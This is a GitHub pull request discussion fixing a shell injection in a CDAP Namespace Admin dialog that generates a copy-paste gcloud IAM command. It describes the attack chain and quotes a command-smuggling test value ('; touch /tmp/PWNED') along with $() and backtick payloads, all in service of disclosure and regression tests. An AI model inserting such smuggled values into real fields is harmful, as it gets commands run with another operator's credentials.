Fix shell injection in generated gcloud IAM binding command in Namespace Admin > Service Accounts - #1427
Conversation
…M binding command
EditConfirmDialog.tsx's getGcloudCommand() interpolated the namespace's
stored 'serviceAccount' value straight into a gcloud CLI command string
with no quoting, then offers it to the admin via a prominent 'copy to
clipboard' button meant to be pasted directly into a terminal.
server/../GcpWorkloadIdentityHttpHandler#createIdentity in cdapio/cdap
persists that 'serviceAccount' value with no format validation at all
(it never calls validateIdentity, unlike the separate /validate
endpoint) -- so any caller with the namespace-scoped
SET_SERVICE_ACCOUNT permission can store an arbitrary string there.
Chained: attacker stores a serviceAccount value containing shell
metacharacters -> a different, more privileged operator later opens
Namespace Admin > Service Accounts > Edit for that namespace, which
pre-fills the stored value and live-generates the gcloud command from
it -> copies it to their terminal and runs it -> the injected segment
executes with that operator's own shell/gcloud credentials.
Extracted the command-building logic into gcloudCommand.ts and added
shellQuote(), a POSIX single-quote quoting function, applied to every
interpolated value that can carry real (potentially attacker-supplied)
data. Values that fall back to their default '${ENV_VAR}' placeholder
text are left unquoted on purpose, since that's meant to stay literal
shell syntax so the admin's own shell can supply it as an environment
variable, per the function's existing doc comment.
Regression tests in __tests__/gcloudCommand.test.ts round-trip several
payloads (semicolon, command substitution, embedded quotes, &&) through
a real shell and confirm nothing beyond the intended argument executes.
![gemini-code-assist[bot]](https://avatars.githubusercontent.com/in/956858?s=60&v=4){kind=small}
There was a problem hiding this comment.
Code Review
This pull request extracts the gcloud command generation logic into a separate utility file and introduces a shellQuote helper to secure the command against shell injection vulnerabilities, accompanied by new unit tests. The review feedback identifies a potential globbing issue in zsh due to unescaped square brackets in the generated command and provides suggestions to escape them and update the corresponding test assertions.
| k8snamespace: 'my-ns', | ||
| k8sWorkloadIdentityPool: 'my-pool', | ||
| }); | ||
| expect(command).toContain("--member serviceAccount:'my-pool'['my-ns'/'my-identity']"); |
There was a problem hiding this comment.
Update the test assertion to expect the escaped brackets (\[ and \]) to match the updated command generation logic.
| expect(command).toContain("--member serviceAccount:'my-pool'['my-ns'/'my-identity']"); | |
| expect(command).toContain("--member serviceAccount:'my-pool'\\\\['my-ns'/'my-identity'\\\\]"); |
There was a problem hiding this comment.
Done in a70e917 — the assertion now expects the escaped brackets: --member serviceAccount:'my-pool'\['my-ns'/'my-identity']. Also added tests covering the bracket escaping, the discard-on-invalid-email behavior, and the isValidServiceAccountEmail validator.
| k8snamespace: 'my-ns', | ||
| k8sWorkloadIdentityPool: 'my-pool', | ||
| }); | ||
| expect(command).toContain("--member serviceAccount:'my-pool'['my-ns'/'my-identity']"); |
|
This fix is correct. Though, in this case the expectation is that the user should input a valid service account email in the input box. So, we should validate the gasEmail input against an email regex and discard everything else as invalid input. |
…d command Restrict the service account input to a well-formed email, discarding anything else so it never reaches the generated command; invalid input now disables save and shows an error. Escape the k8s namespace/identity square brackets so zsh does not treat them as a globbing pattern when the operator copy-pastes the command.
|
Addressed in a70e917:
Added unit tests for the bracket escaping, the discard-on-invalid behavior, and the email validator (accepts real GSA emails, rejects metacharacter-carrying values). |
|
Hi @GnsP friendly ping on this one. Your review feedback was addressed in a70e917 (the zsh globbing fix plus Whenever you have a moment, could you take another look? Happy to adjust further if the validation isn't strict enough for what you had in mind. |
2 participants
Summary
components/NamespaceAdmin/ServiceAccounts/EditConfirmDialog.tsx'sgetGcloudCommand()builds agcloudCLI command string meant to be copy-pasted by an operator into their terminal (there's a dedicated "copy to clipboard" button next to it):gsaEmailcomes straight from the namespace's stored "serviceAccount" value (serviceAccountInputValue, pre-filled fromselectedServiceAcccountwhen editing an existing entry) with no quoting at all. The--membervalue is wrapped in double quotes, which don't protect against$()/backtick command substitution either.On the backend (
cdapio/cdap),GcpWorkloadIdentityHttpHandler#createIdentity(PUT /v3/namespaces/{ns}/credentials/workloadIdentity) persists this value with no format validation whatsoever -- it never callsvalidateIdentity(that only happens on the separatePOST .../validateendpoint, which the create path doesn't require going through first). It only checks the caller has the namespace-scopedSET_SERVICE_ACCOUNTpermission.Chained: anyone with
SET_SERVICE_ACCOUNTon a namespace stores aserviceAccountvalue containing shell metacharacters, e.g.:A different, more privileged operator (e.g. someone with real
gcloud/IAM-binding access) later opens Namespace Admin > Service Accounts > Edit for that namespace. The dialog pre-fills the stored value and live-generates thegcloudcommand from it as they view the dialog. They copy it to their terminal (the UI's own intended affordance) and run it -- the injected segment executes with their own shell/gcloud credentials.Confirmed with real code, not just by reading the source: extracted the exact unpatched
getGcloudCommandlogic into a standalone script, fed it agsaEmailcontaining; touch /tmp/PWNED; echo done, and ran the resulting string withchild_process.execSync(simulating pasting it into a terminal) --/tmp/PWNEDgets created.Fix
Extracted the command-building logic into
gcloudCommand.tsand addedshellQuote(), a POSIX single-quote quoting function ('->'\'', standard shell-safe quoting), applied to every interpolated value that can carry real, potentially attacker-supplied data (gsaEmail,identity,k8snamespace,k8sWorkloadIdentityPool,gsaProjectId). Values that fall back to their default${ENV_VAR}-style placeholder text are deliberately left unquoted, since per the function's own existing doc comment that's meant to stay literal shell syntax so the operator's own shell can supply it as an environment variable when a parameter isn't available.Verified the round-trip is both safe and lossless: quoted values pasted into a real shell (
printf '%s' <quoted>) come back out byte-for-byte identical to the original input, for payloads including;,$(), backticks,&&, and embedded single quotes.Test plan
node -e "require('@babel/core').transform(...)"(project's actual@babel/core+ TS/React presets):EditConfirmDialog.tsx,gcloudCommand.ts, and the test file all parse cleanly.__tests__/gcloudCommand.test.ts(Jest): round-trips several payloads through a real shell viachild_process.execSyncand asserts they come back unexecuted and unmodified; confirms the previously-demonstrated injection payload no longer creates its canary file when the generated command is run; confirms unsupplied parameters keep their literal${...}placeholder form (so the "supply via environment variable" behavior described in the function's doc comment still works).node_moduleslimitation noted on Fix arbitrary code execution and predictable session tokens in /updateTheme #1425/Fix cross-user identity binding race in PROXY auth mode websocket setup #1426 (yarn installdoesn't complete in the environment I used) -- ran the test suite through a fresh, isolatedjest/@babel/preset-typescriptinstall instead and confirmed all 4 tests pass. Happy to re-verify against the real Jest config if that's easier for a reviewer with the deps already installed.Distinct root cause and code area from #1425 (RCE via
/updateTheme) and #1426 (websocket PROXY-mode identity race) -- this one's in the Namespace Admin UI, not the server layer, and the exploit requires an admin to actually run the copied command rather than being a direct server-side bug.